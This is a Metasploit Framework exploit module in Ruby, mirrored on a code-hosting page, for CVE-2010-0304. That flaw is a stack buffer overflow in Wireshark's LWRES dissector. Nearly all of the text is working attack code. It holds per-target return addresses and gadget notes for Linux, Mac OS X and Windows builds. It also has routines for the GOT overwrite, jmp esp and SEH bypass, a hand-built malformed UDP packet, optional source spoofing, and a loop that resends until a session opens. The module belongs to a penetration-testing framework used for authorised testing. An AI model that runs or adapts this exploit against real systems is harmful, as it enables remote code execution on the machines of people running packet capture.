Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb
33222 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Udp
10
include Msf::Exploit::Remote::Seh
11
include Msf::Exploit::Capture
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Wireshark LWRES Dissector getaddrsbyname_request Buffer Overflow (loop)',
18
'Description' => %q{
19
The LWRES dissector in Wireshark version 0.9.15 through 1.0.10 and 1.2.0 through
20
1.2.5 allows remote attackers to execute arbitrary code due to a stack-based buffer
21
overflow. This bug found and reported by babi.
22
23
This particular exploit targets the dissect_getaddrsbyname_request function. Several
24
other functions also contain potentially exploitable stack-based buffer overflows.
25
26
The Windows version (of 1.2.5 at least) is compiled with /GS, which prevents
27
exploitation via the return address on the stack. Sending a larger string allows
28
exploitation using the SEH bypass method. However, this packet will usually get
29
fragmented, which may cause additional complications.
30
31
NOTE: The vulnerable code is reached only when the packet dissection is rendered.
32
If the packet is fragmented, all fragments must be captured and reassembled to
33
exploit this issue.
34
35
This version loops, sending the packet every X seconds until the job is killed.
36
},
37
'Author' => [
38
'babi', # original discovery/exploit
39
'jduck', # ported from public exploit
40
'redsand' # windows target/testing
41
],
42
'License' => MSF_LICENSE,
43
'References' => [
44
[ 'CVE', '2010-0304' ],
45
[ 'OSVDB', '61987' ],
46
[ 'BID', '37985' ],
47
[ 'URL', 'http://www.wireshark.org/security/wnpa-sec-2010-02.html' ],
48
[ 'URL', 'http://anonsvn.wireshark.org/viewvc/trunk-1.2/epan/dissectors/packet-lwres.c?view=diff&r1=31596&r2=28492&diff_format=h' ]
49
],
50
'DefaultOptions' => {
51
'EXITFUNC' => 'process'
52
},
53
'Privileged' => true, # at least capture privilege
54
'Payload' => {
55
'Space' => 512,
56
'BadChars' => "\x00",
57
'DisableNops' => true
58
},
59
'DefaultTarget' => 4,
60
'Targets' => [
61
[
62
'tshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)',
63
# breakpoint: lwres.so + 0x2ce2
64
{
65
'Arch' => ARCH_X86,
66
'Platform' => 'linux',
67
# conveniently, edx pointed at our string..
68
# and so, we write it to g_slist_append's GOT entry just before its called.
69
# pwnt.
70
#
71
# mov [ebx+0xc],edx / jmp 0x804fc40 -->
72
# mov [esp+4],eax / mov eax,[edi+8] / mov [esp],eax / call g_slist_append
73
#
74
'Ret' => 0x804fc85, # see above..
75
'RetOff' => 376,
76
'Readable' => 0x804fa04, # just anything
77
'GotAddr' => 0x080709c8 # objdump -R tshark | grep g_slist_append
78
}
79
],
80
[
81
'wireshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)',
82
{
83
'Arch' => ARCH_X86,
84
'Platform' => 'linux',
85
# the method for tshark doesn't work, since there aren't any convenient
86
# pointers lying around (in reg/close on stack)
87
#
88
# since the wireshark bin has a jmp esp, we'll just use that method..
89
'Ret' => 0x818fce8, # jmp esp in wireshark bin
90
'RetOff' => 376,
91
'Readable' => 0x8066a40, # just any old readable addr (unused)
92
'GotAddr' => 0x818601c # objdump -R wireshark | grep g_slist_append (unused)
93
}
94
],
95
96
[
97
'wireshark 1.2.5 on RHEL 5.4 (x64)',
98
{
99
'Arch' => ARCH_X64,
100
'Platform' => 'linux',
101
'Ret' => 0xfeedfed5deadbeef,
102
'RetOff' => 152
103
}
104
],
105
106
[
107
'wireshark 1.2.5 on Mac OS X 10.5 (x86)',
108
{
109
'Arch' => ARCH_X86,
110
'Platform' => 'osx',
111
'Ret' => 0xdeadbeef,
112
'RetOff' => 268
113
}
114
],
115
116
# The following target was tested against Windows XP SP3 and Windows Vista
117
[
118
'wireshark/tshark 1.2.1 and 1.2.5 on Windows (x86)',
119
{
120
'Arch' => ARCH_X86,
121
'Platform' => 'win',
122
# NOTE: due to the length of this packet, your mileage may vary.
123
'Ret' => 0x61B4121B,
124
# 0x655810b6 = pop/pop/ret in libpango
125
# 0x02A110B6 = pop/pop/ret in libgtk-w
126
# 0x03D710CC = pop/mov/pop/ret in packet
127
# 0x61B4121B = pop/pop/ret in pcre3
128
'RetOff' => 2128
129
}
130
],
131
],
132
'DisclosureDate' => '2010-01-27',
133
# Set it to passive mode to background it.
134
'Stance' => Msf::Exploit::Stance::Passive,
135
'Notes' => {
136
'Reliability' => UNKNOWN_RELIABILITY,
137
'Stability' => UNKNOWN_STABILITY,
138
'SideEffects' => UNKNOWN_SIDE_EFFECTS
139
}
140
)
141
)
142
143
register_options([
144
Opt::RPORT(921),
145
Opt::RHOST('239.255.255.250'),
146
OptAddress.new('SHOST', [false, 'This option can be used to specify a spoofed source address', nil]),
147
OptInt.new('DELAY', [true, 'This option sets the delay between sent packets', 5])
148
])
149
150
register_advanced_options([
151
OptBool.new('ExitOnSession', [ false, 'Return from the exploit after a session has been created', true ])
152
])
153
154
deregister_options('FILTER', 'PCAPFILE')
155
end
156
157
def exploit
158
check_pcaprub_loaded # Check first
159
160
ret_offset = target['RetOff']
161
162
# we have different techniques depending on the target
163
if (target == targets[0])
164
# debian tshark
165
str = make_nops(ret_offset - payload.encoded.length - 16)
166
str << payload.encoded
167
str << [target['GotAddr'] - 0xc].pack('V')
168
str << rand_text(4)
169
str << [target['Readable']].pack('V')
170
str << rand_text(4)
171
# ret is next
172
elsif (target == targets[1])
173
fix_esp = Metasm::Shellcode.assemble(Metasm::Ia32.new, 'add esp,-3500').encode_string
174
str = make_nops(ret_offset - fix_esp.length - payload.encoded.length)
175
str << fix_esp
176
str << payload.encoded
177
# jmp esp...
178
str << [target.ret].pack('V')
179
# jump back
180
distance = ret_offset + 4
181
str << Metasm::Shellcode.assemble(Metasm::Ia32.new, 'jmp $-' + distance.to_s).encode_string
182
elsif (target == targets[4])
183
# ugh, /GS and UDP length issues :-/
184
str = make_nops(ret_offset - payload.encoded.length)
185
str << payload.encoded
186
str << generate_seh_record(target.ret)
187
# jump back
188
distance = ret_offset + 8
189
str << Metasm::Shellcode.assemble(Metasm::Ia32.new, 'jmp $-' + distance.to_s).encode_string
190
else
191
# this is just a simple DoS payload
192
str = Rex::Text.pattern_create(ret_offset)
193
# str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+6").encode_string
194
end
195
196
# add return address
197
# XXX: this isn't working?
198
# str << Rex::Arch.pack_addr(target.arch, target.ret)
199
str << [target.ret].pack('V')
200
201
# form the packet's payload!
202
sploit = "\x00\x00\x01\x5d\x00\x00\x00\x00\x4b\x49\x1c\x52\x00\x01\x00\x01"
203
sploit << "\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00"
204
sploit << "\x00\x00\x00\x01"
205
sploit << [str.length].pack('n')
206
sploit << str
207
sploit << "\x00\x00"
208
209
shost = datastore['SHOST']
210
if (shost)
211
print_status("Sending malformed LWRES packet (spoofed from #{shost})")
212
open_pcap
213
214
p = PacketFu::UDPPacket.new
215
p.ip_saddr = datastore['SHOST'] || Rex::Socket.source_address(rhost)
216
p.ip_daddr = rhost
217
p.udp_sport = rand((2**16) - 1024) + 1024
218
p.udp_dport = datastore['RPORT'].to_i
219
p.payload = sploit
220
p.recalc
221
222
while true
223
break if session_created? and datastore['ExitOnSession']
224
break unless capture_sendto(p, rhost)
225
226
select(nil, nil, nil, datastore['DELAY'])
227
end
228
229
close_pcap
230
231
handler
232
else
233
print_status("Sending malformed LWRES packet every #{datastore['DELAY']} seconds.")
234
235
handler
236
237
while true
238
break if session_created? and datastore['ExitOnSession']
239
240
connect_udp
241
udp_sock.put(sploit)
242
disconnect_udp
243
select(nil, nil, nil, datastore['DELAY'])
244
end
245
end
246
end
247
end
248
249